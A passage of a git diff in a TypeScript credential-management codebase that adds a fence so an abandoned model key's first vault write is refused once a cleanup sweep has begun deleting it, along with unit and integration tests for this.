sweepAbandonedModelKeys({ + cleanupRefs: { listDue: onePage([ref('acct_1')]), clear: async () => undefined, fence: async () => Promise.reject(new Error('db down')) }, + accounts: { find: async () => null, remove: async () => undefined }, + provisioner: { identityOf: async () => ({ identityId: 'identity_user:u1' }) as never }, + store: { delete: async () => Promise.reject(new Error('must not delete unfenced')) }, + lockModelKey: lockOver(new Set()), + now: () => NOW, + }); + expect(result).toEqual({ scanned: 1, erased: 0, failed: 1 }); + }); + it('given a save stranded before activation (its row still at credentialVersion 0), should delete the material, the row and the ref', async () => { const w = world({ refs: [ref('acct_1')], rows: [accountRow('acct_1', 0)] }); expect([await w.sweep(), w.deleted.length, [...w.rowTable.keys()], [...w.refTable.keys()]]).toEqual([{ scanned: 1, erased: 1, failed: 0 }, 1, [], []]); @@ -131,7 +182,7 @@ describe('sweepAbandonedModelKeys', () => { it('given a ref whose tenant is not a person\'s, or a lock that cannot be taken, should keep it', async () => { const odd = world({ refs: [ref('acct_1', 'drive:d1')], tenants: ['drive:d1'] }); const lockDown = await sweepAbandonedModelKeys({ - cleanupRefs: { listDue: onePage([ref('acct_2')]), clear: async () => undefined }, + cleanupRefs: { listDue: onePage([ref('acct_2')]), clear: async () => undefined, fence: async () => undefined }, accounts: { find: async () => null, remove: async () => undefined }, provisioner: { identityOf: async () => ({ identityId: 'identity_user:u1' }) as never }, store: { delete: async () => OK }, @@ -157,16 +208,16 @@ describe('sweepAbandonedModelKeys', () => { it('given the account row unreadable, its removal failing, or the ref not clearing, should report it failed for the next run', async () => { const base = { provisioner: { identityOf: async () => ({ identityId: 'identity_user:u1' }) as never }, store: { delete: async () => OK }, lockModelKey: lockOver(new Set()), now: () => NOW }; - const unreadable = await sweepAbandonedModelKeys({ ...base, cleanupRefs: { listDue: onePage([ref('acct_1')]), clear: async () => undefined }, accounts: { find: async () => Promise.reject(new Error('db down')), remove: async () => undefined } }); - const unremovable = await sweepAbandonedModelKeys({ ...base, cleanupRefs: { listDue: onePage([ref('acct_1')]), clear: async () => undefined }, accounts: { find: async () => accountRow('acct_1', 0), remove: async () => Promise.reject(new Error('db down')) } }); - const uncleared = await sweepAbandonedModelKeys({ ...base, cleanupRefs: { listDue: onePage([ref('acct_1')]), clear: async () => Promise.reject(new Error('db down')) }, accounts: { find: async () => null, remove: async () => undefined } }); + const unreadable = await sweepAbandonedModelKeys({ ...base, cleanupRefs: { listDue: onePage([ref('acct_1')]), clear: async () => undefined, fence: async () => undefined }, accounts: { find: async () => Promise.reject(new Error('db down')), remove: async () => undefined } }); + const unremovable = await sweepAbandonedModelKeys({ ...base, cleanupRefs: { listDue: onePage([ref('acct_1')]), clear: async () => undefined, fence: async () => undefined }, accounts: { find: async () => accountRow('acct_1', 0), remove: async () => Promise.reject(new Error('db down')) } }); + const uncleared = await sweepAbandonedModelKeys({ ...base, cleanupRefs: { listDue: onePage([ref('acct_1')]), clear: async () => Promise.reject(new Error('db down')), fence: async () => undefined }, accounts: { find: async () => null, remove: async () => undefined } }); const failed = { scanned: 1, erased: 0, failed: 1 }; expect([unreadable, unremovable, uncleared]).toEqual([failed, failed, failed]); }); it('given the listing failing, should report it and not throw', async () => { const result = await sweepAbandonedModelKeys({ - cleanupRefs: { listDue: async () => Promise.reject(new Error('db down')), clear: async () => undefined }, + cleanupRefs: { listDue: async () => Promise.reject(new Error('db down')), clear: async () => undefined, fence: async () => undefined }, accounts: { find: async () => null, remove: async () => undefined }, provisioner: { identityOf: async () => null }, store: { delete: async () => OK }, diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts index 9e68698d36..62a0a35fb9 100644 --- a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts @@ -62,7 +62,7 @@ function harness() { /** `delete` answers plane_unavailable while true. */ let deleteDown = false; /** How the next put fails, if it does: `definite` stored nothing, `uncertain` may have. */ - let putFailure: 'definite' | 'uncertain' | null = null; + let putFailure: 'definite' | 'uncertain' | 'fenced' | null = null; const revoked: string[] = []; const deleted: string[] = []; /** The order of cleanup-ref writes and vault writes. */ @@ -72,6 +72,7 @@ function harness() { /** When each cleanup ref was last recorded, and when the put was sent (the harness clock). */ const recordedAt = new Map(); let putSentAt: number | null = null; + const putFences: string[] = []; /** How long the save stalls while it prepares its write (the bindings digest), once, on the harness clock. */ let stallWhilePreparingMs = 0; let cleanupDown = false; @@ -154,14 +155,15 @@ function harness() { } satisfies Partial; const plane = { - put: async ({ ref }: { ref: { accountId: string } }) => { + put: async ({ ref, fence }: { ref: { accountId: string }; fence?: string }) => { events.push(`put:${ref.accountId}`); + putFences.push(fence ?? 'none'); putSentAt = clock; const waiting = putGate; putGate = null; if (waiting !== null) await waiting.opened; if (loseLockOnPut) heldLock?.abort(new Error('lock connection died')); - if (putFailure !== null) return { ok: false, reason: putFailure === 'definite' ? 'kind_mismatch' : 'plane_unavailable' } as never; + if (putFailure !== null) return { ok: false, reason: putFailure === 'definite' ? 'kind_mismatch' : putFailure === 'fenced' ? 'fenced' : 'plane_unavailable' } as never; return { ok: true, version: 1 } as never; }, revoke: async ({ ref }) => { @@ -260,7 +262,8 @@ function harness() { rows.set(`other_${i}`, { id: `other_${i}`, kind: 'api_key', ownerKind: 'user', ownerUserId: HUMAN, providerSlug: null, credentialVersion: 1, status: 'active', createdAt: new Date(clock) } as unknown as AgentAccountRecord); } }, - failPuts: (how: 'definite' | 'uncertain' | null) => { + putFences, + failPuts: (how: 'definite' | 'uncertain' | 'fenced' | null) => { putFailure = how; }, }; @@ -407,6 +410,19 @@ describe('setModelKey / removeModelKey', () => { expect({ refs: inFlight.refs, datedFromSend: inFlight.recordedAt === inFlight.putSentAt, stalled: (inFlight.putSentAt ?? 0) >= 20 * 60_000 }).toEqual({ refs: ['acct_1'], datedFromSend: true, stalled: true }); }); + it('given a save, should send its write fenced by its cleanup ref', async () => { + const h = harness(); + await h.authority.setModelKey({ actor, apiKey: keyA }); + expect(h.putFences).toEqual(['model_key_cleanup_ref']); + }); + + it('given a write the plane refused as fenced (the sweep took the ref over), should store nothing, keep no row, and leave the ref to the sweep', async () => { + const h = harness(); + h.failPuts('fenced'); + const saved = await h.authority.setModelKey({ actor, apiKey: keyA }); + expect({ saved, rows: h.rows.size, deleted: h.deleted, refs: [...h.cleanupRefs] }).toEqual({ saved: { ok: false, reason: 'conflict' }, rows: 0, deleted: [], refs: ['acct_1'] }); + }); + it('given a cleanup ref that cannot be recorded, should write nothing to the vault and keep no row', async () => { const h = harness(); h.setCleanupDown(true); diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.integration.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.integration.test.ts index 81a57afb10..5b7544ffb4 100644 --- a/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.integration.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.integration.test.ts @@ -66,6 +66,19 @@ describe('createModelKeyCleanupRepository — against the real database', () => expect({ refreshed: after!.recordedAt.getTime() > before!.recordedAt.getTime() + 3_000_000, rows: [after!.tenantId, after!.kind] }).toEqual({ refreshed: true, rows: ['user:again', 'api_key'] }); }); + it('given a ref fenced by the sweep, should no longer admit its write, and a later record must not reopen it', async () => { + const accountId = `${RUN}_fence`; + await record(accountId, 'user:fence', 0); + const openAtFirst = await refs.admitsWrite(accountId); + await refs.fence(accountId); + await refs.fence(accountId); + const afterFence = await refs.admitsWrite(accountId); + await refs.record({ accountId, tenantId: 'user:fence', kind: 'api_key' }); + const afterRecord = await refs.admitsWrite(accountId); + const unknown = await refs.admitsWrite(`${RUN}_never`); + expect({ openAtFirst, afterFence, afterRecord, unknown }).toEqual({ openAtFirst: true, afterFence: false, afterRecord: false, unknown: false }); + }); + it('given refs of several ages, should list only those due, oldest first, page past a cursor, and clear one', async () => { const [older, old, fresh] = [`${RUN}_older`, `${RUN}_old`, `${RUN}_fresh`]; await record(older, 'user:a', 3 * 3_600_000); diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.test.ts index ba813b1428..1fc02db68f 100644 --- a/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.test.ts @@ -8,16 +8,18 @@ import { createModelKeyCleanupRepository } from '../model-key-cleanup-repository function fakeDb() { const calls: string[] = []; + let openRows: unknown[] = []; const where = vi.fn((condition: unknown) => { calls.push(`where:${condition === undefined ? 'none' : 'some'}`); - return { orderBy: () => ({ limit: async (n: number) => (calls.push(`limit:${n}`), []) }) }; + return { orderBy: () => ({ limit: async (n: number) => (calls.push(`limit:${n}`), []) }), limit: async () => openRows }; }); const db = { insert: () => ({ values: () => ({ onConflictDoUpdate: async () => void calls.push('insert:refresh-on-conflict') }) }), delete: () => ({ where: async () => void calls.push('delete') }), select: () => ({ from: () => ({ where }) }), + update: () => ({ set: () => ({ where: async () => void calls.push('fence') }) }), }; - return { db, calls, where }; + return { db, calls, where, setOpen: (rows: unknown[]) => void (openRows = rows) }; } describe('createModelKeyCleanupRepository', () => { @@ -33,4 +35,15 @@ describe('createModelKeyCleanupRepository', () => { listings: 2, }); }); + + it('given a fence, should update the ref; given a ref open or fenced, should admit the write only while it is open', async () => { + const { db, calls, setOpen } = fakeDb(); + const repo = createModelKeyCleanupRepository({ db: db as never }); + await repo.fence('acct_1'); + setOpen([{ accountId: 'acct_1' }]); + const whileOpen = await repo.admitsWrite('acct_1'); + setOpen([]); + const fenced = await repo.admitsWrite('acct_1'); + expect({ fenceCalls: calls.filter((c) => c === 'fence').length, whileOpen, fenced }).toEqual({ fenceCalls: 1, whileOpen: true, fenced: false }); + }); }); diff --git a/packages/lib/src/agent-accounts/account-authority-executor.ts b/packages/lib/src/agent-accounts/account-authority-executor.ts index 02e7123233..da5c8ddd46 100644 --- a/packages/lib/src/agent-accounts/account-authority-executor.ts +++ b/packages/lib/src/agent-accounts/account-authority-executor.ts @@ -639,7 +639,15 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth bindings: bindings as unknown as Record, scope: scope as unknown as Record, consenters: { kind: 'owner' }, + // The plane admits this first write only while its cleanup ref is open (not fenced by the sweep), under the writer + // lock the sweep's delete takes: however late it arrives, it never lands after that delete. + fence: 'model_key_cleanup_ref', }); + // Fenced: the sweep has taken this ref over (it deletes, then clears it) and nothing was written. + if (!put.ok && put.reason === 'fenced') { + await deps.accounts.remove(row.id); + return { ok: false, reason: 'conflict' }; + } if (!put.ok) { // Only a definite refusal stored nothing. An uncertain one may have: the key is abandoned, so whatever reached // the vault is deleted now or, from its cleanup ref, by the plane's sweep. diff --git a/packages/lib/src/agent-accounts/executor/__tests__/plane-put-fence-route.test.ts b/packages/lib/src/agent-accounts/executor/__tests__/plane-put-fence-route.test.ts new file mode 100644 index 0000000000..fb96bd7c6a --- /dev/null +++ b/packages/lib/src/agent-accounts/executor/__tests__/plane-put-fence-route.test.ts @@ -0,0 +1,105 @@ +/** + * The plane's put route and a model key's cleanup fence (ADR 0009): a put that names the fence is admitted only while + * the account's cleanup ref is open, through the store's under-the-lock admit hook; with no ref store wired it is + * refused; a put that names no fence (every other account kind) carries no hook at all. + */ +import { afterEach, describe, expect, it } from 'vitest'; +import { createServer, type Server } from 'node:http'; +import type { AddressInfo } from 'node:net'; +import { createHash, createHmac } from 'node:crypto'; +import { createPlaneRequestHandler, type PlaneRequestHandlerDeps } from '../plane-http-adapter'; +import { PLANE_ROUTES } from '../plane-wire'; +import { PLANE_SIGNATURE_HEADER, signPlaneRequest } from '../plane-request-signature'; +import type { PutInput, PutResult } from '../../store/store-adapter'; + +const SECRET = 'plane-service-secret-0123456789abcdef'; +const hmac = (key: string, text: string) => createHmac('sha256', key).update(text).digest('hex'); +const sha256 = (bytes: Uint8Array) => createHash('sha256').update(bytes).digest('hex'); +const untouched = (): never => { + throw new Error('a plane operation was reached'); +}; + +let server: Server | null = null; + +afterEach(async () => { + if (server !== null) await new Promise((resolve) => server!.close(() => resolve())); + server = null; +}); + +async function planeWith(modelKeyCleanup: PlaneRequestHandlerDeps['modelKeyCleanup']) { + const admitted: Array = []; + const deps: PlaneRequestHandlerDeps = { + secret: SECRET, + store: { + put: async (input: PutInput): Promise => { + if (input.admitFirstWrite === undefined) { + admitted.push('no hook'); + return { ok: true, version: 1 } as PutResult; + } + const admit = await input.admitFirstWrite(); + admitted.push(admit); + return (admit ? { ok: true, version: 1 } : { ok: false, reason: 'fenced' }) as PutResult; + }, + revoke: untouched, + delete: untouched, + describe: untouched, + rebind: untouched, + }, + usage: { window: untouched }, + oauth: null, + ssh: null, + inference: null, + browser: null, + provisioner: { ensureTenant: async () => ({ projectId: 'proj_1', identityId: 'identity_1' }), identityOf: untouched, lookupIdentity: untouched }, + ...(modelKeyCleanup === undefined ? {} : { modelKeyCleanup }), + executor: { execute: untouched } as unknown as PlaneRequestHandlerDeps['executor'], + hmac, + sha256, + now: () => Date.now(), + }; + server = createServer(createPlaneRequestHandler(deps)); + await new Promise((resolve) => server!.listen(0, '127.0.0.1', resolve)); + const base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`; + const put = async (fence: boolean) => { + const body = { + ref: { tenantId: 'user:u1', accountId: 'acct_1', kind: 'api_key' }, + material: { kind: 'api_key', material: { value: 'sk-or-v1-synthetic', placement: { in: 'header', name: 'Authorization' } } }, + bindings: {}, + scope: {}, + consenters: { kind: 'owner' }, + ...(fence ? { fence: 'model_key_cleanup_ref' } : {}), + }; + const bytes = new TextEncoder().encode(JSON.stringify(body)); + const header = signPlaneRequest({ method: 'POST', path: PLANE_ROUTES.put, body: bytes, secret: SECRET, now: Date.now(), hmac, sha256 }); + const response = await fetch(`${base}${PLANE_ROUTES.put}`, { method: 'POST', headers: { 'content-type': 'application/json', [PLANE_SIGNATURE_HEADER]: header }, body: bytes }); + return response.json(); + }; + return { put, admitted }; +} + +describe('the plane put route and the model-key cleanup fence', () => { + it('given a fenced put, should admit it only while the account\'s cleanup ref is open', async () => { + let open = true; + const asked: string[] = []; + const plane = await planeWith({ admitsWrite: async (accountId) => (asked.push(accountId), open) }); + const whileOpen = await plane.put(true); + open = false; + const afterFence = await plane.put(true); + expect({ whileOpen, afterFence, admitted: plane.admitted, asked }).toEqual({ + whileOpen: { ok: true, version: 1 }, + afterFence: { ok: false, reason: 'fenced' }, + admitted: [true, false], + asked: ['acct_1', 'acct_1'], + }); + }); + + it('given a fenced put with no cleanup ref store wired, should refuse it rather than write it unfenced', async () => { + const plane = await planeWith(undefined); + expect([await plane.put(true), plane.admitted]).toEqual([{ ok: false, reason: 'fenced' }, [false]]); + }); + + it('given a put that names no fence (any other account kind), should pass no admit hook', async () => { + const plane = await planeWith({ admitsWrite: async () => false }); + expect([await plane.put(false), plane.admitted]).toEqual([{ ok: true, version: 1 }, ['no hook']]); + }); +}); diff --git a/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts b/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts index 62ca7a9d57..8215846d22 100644 --- a/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts +++ b/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts @@ -32,6 +32,7 @@ import type { TenantId } from '@pagespace/db/schema/agent-accounts'; import type { OwnerConsent, PlaneBindings, PlaneConsenters, PlaneScope, SecretRef, StoreAdapter } from '../store/store-adapter'; import type { UsageLedger } from '../store/usage-ledger-repository'; import type { PolicyVersion } from '@pagespace/db/schema/agent-accounts'; +import type { ModelKeyCleanupRepository } from '../model-key-cleanup-repository'; import type { TenantProvisioner } from '../store/infisical-tenant-provisioner-client'; import type { AgentPageId, ConversationId, RunId, SessionId, UserId } from '../grant'; import type { HttpRequestExecutor } from './http-request-executor'; @@ -66,6 +67,8 @@ export type PlaneRequestHandlerDeps = { /** Code exchange at enrollment: the pinned endpoints, the plane's OAuth clients and its pinned HTTPS client. */ readonly oauth: { readonly endpoints: OAuthEndpointRegistry; readonly clientFor: (providerSlug: string) => OAuthClientCredentials | null; readonly network: PinnedHttpsClient } | null; readonly provisioner: Pick; + /** Model-key cleanup refs (ADR 0009), for fenced first writes; a fenced write with none wired is refused. */ + readonly modelKeyCleanup?: Pick; readonly executor: HttpRequestExecutor; /** SSH accounts (slice 5): the transport for host-key probes and the command executor; null = SSH is off. */ readonly ssh: { readonly client: Pick; readonly executor: SshCommandExecutor } | null; @@ -155,9 +158,13 @@ export function createPlaneRequestHandler(deps: PlaneRequestHandlerDeps): (req: if (path === PLANE_ROUTES.put) { const parsed = planePutBody.safeParse(json); if (!parsed.success) return send(res, 400, { error: 'malformed' }); - const { ref, material, bindings, scope, consenters } = parsed.data; + const { ref, material, bindings, scope, consenters, fence } = parsed.data; const tenant = await deps.provisioner.ensureTenant(ref.tenantId as TenantId); if (tenant === null) return send(res, 503, { ok: false, reason: 'store_unavailable' }); + // A fenced write (a model key's, ADR 0009) is admitted only while its cleanup ref is open; with no ref store wired, + // it is refused rather than written unfenced. + const modelKeyCleanup = deps.modelKeyCleanup; + const admitFirstWrite = fence === undefined ? undefined : modelKeyCleanup === undefined ? async () => false : () => modelKeyCleanup.admitsWrite(ref.accountId); const result = await deps.store.put({ ref: ref as SecretRef, material, @@ -166,6 +173,7 @@ export function createPlaneRequestHandler(deps: PlaneRequestHandlerDeps): (req: scope: scope as unknown as PlaneScope, consenters: consenters as PlaneConsenters, identity: { tenantId: ref.tenantId as TenantId, identityId: tenant.identityId, channel: 'ingress', blastRadius: 'tenant' }, + ...(admitFirstWrite === undefined ? {} : { admitFirstWrite }), }); return send(res, 200, result); } @@ -254,7 +262,8 @@ export function createPlaneRequestHandler(deps: PlaneRequestHandlerDeps): (req: consenters: consenters as PlaneConsenters, identity: { tenantId: ref.tenantId as TenantId, identityId: tenant.identityId, channel: 'ingress', blastRadius: 'tenant' }, }); - return send(res, 200, (put.ok ? { ok: true, version: put.version, email: planned.email, scopes: planned.material.scopes } : { ok: false, reason: put.reason }) satisfies PlaneOAuthExchangeResult); + // No admit hook is passed, so this write is never `fenced` (only a model key's first write is). + return send(res, 200, (put.ok ? { ok: true, version: put.version, email: planned.email, scopes: planned.material.scopes } : { ok: false, reason: put.reason as Exclude }) satisfies PlaneOAuthExchangeResult); } if (path === PLANE_ROUTES.sshHostKey) { @@ -285,7 +294,8 @@ export function createPlaneRequestHandler(deps: PlaneRequestHandlerDeps): (req: consenters: consenters as PlaneConsenters, identity: { tenantId: ref.tenantId as TenantId, identityId: tenant.identityId, channel: 'ingress', blastRadius: 'tenant' }, }); - return send(res, 200, (put.ok ? { ok: true, version: put.version, publicKey: pair.publicKey } : { ok: false, reason: put.reason }) satisfies PlaneSshEnrollResult); + // No admit hook is passed, so this write is never `fenced` (only a model key's first write is). + return send(res, 200, (put.ok ? { ok: true, version: put.version, publicKey: pair.publicKey } : { ok: false, reason: put.reason as Exclude }) satisfies PlaneSshEnrollResult); } if (path === PLANE_ROUTES.sshExec) { diff --git a/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts b/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts index b7826d95bd..910c08826b 100644 --- a/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts +++ b/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts @@ -71,8 +71,9 @@ export async function sweepOrphanedRefs({ * finished: its write may have left material with no plane metadata, which `sweepOrphanedRefs` cannot see, and its * owner and account row may be gone. Unless its * account row shows the key activated (credentialVersion > 0: the plane's metadata owns the material, only the ref is - * stale), the material is deleted (the plane's delete searches the vault with or without metadata), then the row if - * one is left, then the ref. Paged past every ref, so refs that keep failing never block the ones after them; a ref + * stale), the ref is fenced (the plane then refuses that account's first write), the material is deleted (the plane's + * delete searches the vault with or without metadata, under the writer lock the fence is checked under), then the row + * if one is left, then the ref. Paged past every ref, so refs that keep failing never block the ones after them; a ref * the sweep cannot finish stays for the next run. Nothing here throws. */ export async function sweepAbandonedModelKeys({ @@ -83,7 +84,7 @@ export async function sweepAbandonedModelKeys({ lockModelKey, now, }: { - readonly cleanupRefs: Pick; + readonly cleanupRefs: Pick; /** The per-person lock web's model-key saves hold (`modelKeyLockKey`): a ref is settled only while it is held. */ readonly lockModelKey: AccountAuthorityDeps['lockAccount']; readonly accounts: Pick; @@ -128,6 +129,10 @@ export async function sweepAbandonedModelKeys({ const row = await accounts.find(cleanup.accountId).catch(() => undefined); if (row === undefined) return false; if (row === null || row.credentialVersion === 0) { + // Fenced BEFORE the delete: from here the plane refuses this account's first write (checked under the writer lock + // the delete takes), so a write still in flight either finished before the delete or never lands. A ref stays + // fenced until the delete succeeded, so it is still the reference if this pass cannot finish. + if (!(await cleanupRefs.fence(cleanup.accountId).then(() => true, () => false))) return false; const ref = { tenantId: cleanup.tenantId as TenantId, accountId: cleanup.accountId as AccountId, kind: cleanup.kind as AccountKind }; const tenant = await provisioner.identityOf(ref.tenantId).catch(() => null); const deleted = tenant === null ? null : await store.delete({ ref, identity: { tenantId: ref.tenantId, identityId: tenant.identityId, channel: 'manage', blastRadius: 'tenant' }, upstream: 'not_attempted' }).catch(() => null); diff --git a/packages/lib/src/agent-accounts/executor/plane-wire.ts b/packages/lib/src/agent-accounts/executor/plane-wire.ts index 998894fb6f..5ba30b6b01 100644 --- a/packages/lib/src/agent-accounts/executor/plane-wire.ts +++ b/packages/lib/src/agent-accounts/executor/plane-wire.ts @@ -41,6 +41,11 @@ export const planePutBody = z bindings: z.record(z.string(), z.unknown()), scope: z.record(z.string(), z.unknown()), consenters, + /** + * A model key's first write (ADR 0009): admitted only while its cleanup ref exists and is not fenced, checked + * under the writer lock that serializes it with the sweep's delete, so a write still in flight never lands after it. + */ + fence: z.literal('model_key_cleanup_ref').optional(), }) .strict(); diff --git a/packages/lib/src/agent-accounts/executor/plane-worker.ts b/packages/lib/src/agent-accounts/executor/plane-worker.ts index 40b66172d4..43b83a7a0a 100644 --- a/packages/lib/src/agent-accounts/executor/plane-worker.ts +++ b/packages/lib/src/agent-accounts/executor/plane-worker.ts @@ -192,9 +192,12 @@ export async function startCredentialPlane({ config }: { readonly config: PlaneC now: () => Date.now(), rotationGraceMs: 300_000, }); + // Model-key cleanup refs (ADR 0009): a fenced first write is admitted against them, and the sweep below settles them. + const cleanupRefs = createModelKeyCleanupRepository({ db }); const server = createServer( createPlaneRequestHandler({ secret: config.serviceSecret, + modelKeyCleanup: cleanupRefs, store, usage, oauth: { endpoints: OAUTH_PROVIDER_ENDPOINTS, clientFor: (providerSlug) => config.oauthClients[providerSlug] ?? null, network }, @@ -211,7 +214,6 @@ export async function startCredentialPlane({ config }: { readonly config: PlaneC await new Promise((resolve) => server.listen(config.port, resolve)); // Erasure reaches the vault: refs whose reference row cascaded away are deleted (review MED-1). const accounts = createAgentAccountRepository({ db }); - const cleanupRefs = createModelKeyCleanupRepository({ db }); // The main DB's advisory locks, as web takes them: the sweep settles a model key's cleanup ref only under its owner's lock. const lockModelKey = createAccountChangeLock(getAdvisoryLockPool()); const sweep = setInterval(() => { diff --git a/packages/lib/src/agent-accounts/model-key-cleanup-repository.ts b/packages/lib/src/agent-accounts/model-key-cleanup-repository.ts index 49a753e8f0..05b15bd3eb 100644 --- a/packages/lib/src/agent-accounts/model-key-cleanup-repository.ts +++ b/packages/lib/src/agent-accounts/model-key-cleanup-repository.ts @@ -5,7 +5,7 @@ * foreign key, so it outlives the account row and its owner. */ import type { db as defaultDb } from '@pagespace/db/db'; -import { and, asc, eq, gt, lt, or, sql } from '@pagespace/db/operators'; +import { and, asc, eq, gt, isNull, lt, or, sql } from '@pagespace/db/operators'; import { modelKeyCleanupRefs } from '@pagespace/db/schema/model-key-history'; export type ModelKeyCleanupRef = { @@ -13,6 +13,7 @@ export type ModelKeyCleanupRef = { readonly tenantId: string; readonly kind: string; readonly recordedAt: Date; + readonly fencedAt: Date | null; }; export type ModelKeyCleanupRepository = { @@ -23,6 +24,10 @@ export type ModelKeyCleanupRepository = { readonly record: (ref: { readonly accountId: string; readonly tenantId: string; readonly kind: string }) => Promise; /** The write is known (committed, refused) or its material is erased. */ readonly clear: (accountId: string) => Promise; + /** The sweep is about to delete this account's material: from now on the plane refuses its first write. Idempotent. */ + readonly fence: (accountId: string) => Promise; + /** Whether a first write for this account may still land: its ref exists and is not fenced (the plane, under its writer lock). */ + readonly admitsWrite: (accountId: string) => Promise; /** Refs last recorded before `recordedBefore`, oldest first and after the `after` ref (a page cursor). */ readonly listDue: (input: { readonly recordedBefore: number; @@ -31,7 +36,7 @@ export type ModelKeyCleanupRepository = { }) => Promise; }; -type CleanupDatabase = Pick; +type CleanupDatabase = Pick; export function createModelKeyCleanupRepository({ db }: { readonly db: CleanupDatabase }): ModelKeyCleanupRepository { return { @@ -46,6 +51,22 @@ export function createModelKeyCleanupRepository({ db }: { readonly db: CleanupDa await db.delete(modelKeyCleanupRefs).where(eq(modelKeyCleanupRefs.accountId, accountId)); }, + async fence(accountId) { + await db + .update(modelKeyCleanupRefs) + .set({ fencedAt: sql`coalesce(${modelKeyCleanupRefs.fencedAt}, now())` }) + .where(eq(modelKeyCleanupRefs.accountId, accountId)); + }, + + async admitsWrite(accountId) { + const [open] = await db + .select({ accountId: modelKeyCleanupRefs.accountId }) + .from(modelKeyCleanupRefs) + .where(and(eq(modelKeyCleanupRefs.accountId, accountId), isNull(modelKeyCleanupRefs.fencedAt))) + .limit(1); + return open !== undefined; + }, + async listDue({ recordedBefore, after, limit }) { const pastCursor = after === null diff --git a/packages/lib/src/agent-accounts/store/__tests__/store-adapter-infisical.integration.test.ts b/packages/lib/src/agent-accounts/store/__tests__/store-adapter-infisical.integration.test.ts index a65b2e5847..fc0ee5ea40 100644 --- a/packages/lib/src/agent-accounts/store/__tests__/store-adapter-infisical.integration.test.ts +++ b/packages/lib/src/agent-accounts/store/__tests__/store-adapter-infisical.integration.test.ts @@ -358,6 +358,33 @@ describe.skipIf(!infisicalReachable)('createInfisicalStoreAdapter — integratio } }); + it('given a fenced first write (ADR 0009: a model key whose cleanup ref the sweep fenced), should refuse it as fenced and leave nothing in the vault; an admitted one is written', async () => { + const adapter = makeAdapter(); + const bindings = (accountId: string): PlaneBindings => ({ tenantId: TENANT_A, ownerRef: { kind: 'user', userId: OWNER_A }, allowedOrigins: ['https://example.com' as CanonicalOrigin], policyVersion: 1 as PolicyVersion, policyDigest: EXAMPLE_DIGEST, kind: 'api_key' }); + const identity = { tenantId: TENANT_A, identityId: identityA.identityId, blastRadius: 'tenant' as const }; + const put = (accountId: AccountId, admit: boolean) => + adapter.put({ + ref: { tenantId: TENANT_A, accountId, kind: 'api_key' as const }, + material: { kind: 'api_key', material: { value: 'sk-synthetic', placement: { in: 'header', name: 'Authorization' } } }, + expectedVersion: null, + bindings: bindings(accountId), + identity, + admitFirstWrite: async () => admit, + }); + const fencedId = `acct-fenced-${NOW}` as AccountId; + const admittedId = `acct-admitted-${NOW}` as AccountId; + const fenced = await put(fencedId, false); + const fencedDescribed = await adapter.describe({ ref: { tenantId: TENANT_A, accountId: fencedId, kind: 'api_key' }, identity }); + const erasedNothing = await adapter.delete({ ref: { tenantId: TENANT_A, accountId: fencedId, kind: 'api_key' }, identity, upstream: 'not_attempted' }); + const admitted = await put(admittedId, true); + expect({ fenced, fencedDescribed: fencedDescribed.ok ? 'found' : fencedDescribed.reason, erasedNothing: erasedNothing.ok ? 'removed' : erasedNothing.reason, admitted }).toEqual({ + fenced: { ok: false, reason: 'fenced' }, + fencedDescribed: 'not_found', + erasedNothing: 'not_found', + admitted: { ok: true, version: 1 }, + }); + }); + it('given resolve with a wrong-tenant identity, should return not_found', async () => { const adapter = makeAdapter(); const accountId = `acct-wrong-tenant-${NOW}` as AccountId; diff --git a/packages/lib/src/agent-accounts/store/store-adapter-infisical.ts b/packages/lib/src/agent-accounts/store/store-adapter-infisical.ts index 475aacea41..9741ffc91c 100644 --- a/packages/lib/src/agent-accounts/store/store-adapter-infisical.ts +++ b/packages/lib/src/agent-accounts/store/store-adapter-infisical.ts @@ -256,6 +256,8 @@ export function createInfisicalStoreAdapter(deps: StoreAdapterInfisicalDeps): St readonly identity: StoreIdentity; /** Only `rotate` sets this — snapshot the material being replaced for grace resolves. */ readonly rotation: boolean; + /** `put` only: see `PutInput.admitFirstWrite`. */ + readonly admitFirstWrite?: () => Promise; }): Promise { const { ref, material, expectedVersion, bindings, identity, rotation } = input; if (ref.tenantId !== identity.tenantId) return { ok: false, reason: 'store_unavailable' }; @@ -339,6 +341,9 @@ export function createInfisicalStoreAdapter(deps: StoreAdapterInfisicalDeps): St return aborted ? { ok: false, reason: 'store_unavailable' } : { ok: false, reason: 'write_unverified' }; } } else { + // A fenced first write (a model key's cleanup ref, ADR 0009) is admitted here, under the writer lock its + // sweep's delete also takes: once the sweep has fenced the ref, a write still in flight is refused unwritten. + if (input.admitFirstWrite !== undefined && !(await input.admitFirstWrite().catch(() => false))) return { ok: false, reason: 'fenced' }; const created = await deps.infisical.createSecret({ projectId, credentials, secretKey, secretValue, secretComment }); if (!created.ok) { // G1c E1: a first put finding its key already in Infisical has met an orphan from an earlier diff --git a/packages/lib/src/agent-accounts/store/store-adapter.ts b/packages/lib/src/agent-accounts/store/store-adapter.ts index 008e4e3bf1..129f01904d 100644 --- a/packages/lib/src/agent-accounts/store/store-adapter.ts +++ b/packages/lib/src/agent-accounts/store/store-adapter.ts @@ -257,13 +257,18 @@ export type PutInput = { readonly consenters: PlaneConsenters; /** The write-only credential-ingress identity (ADR 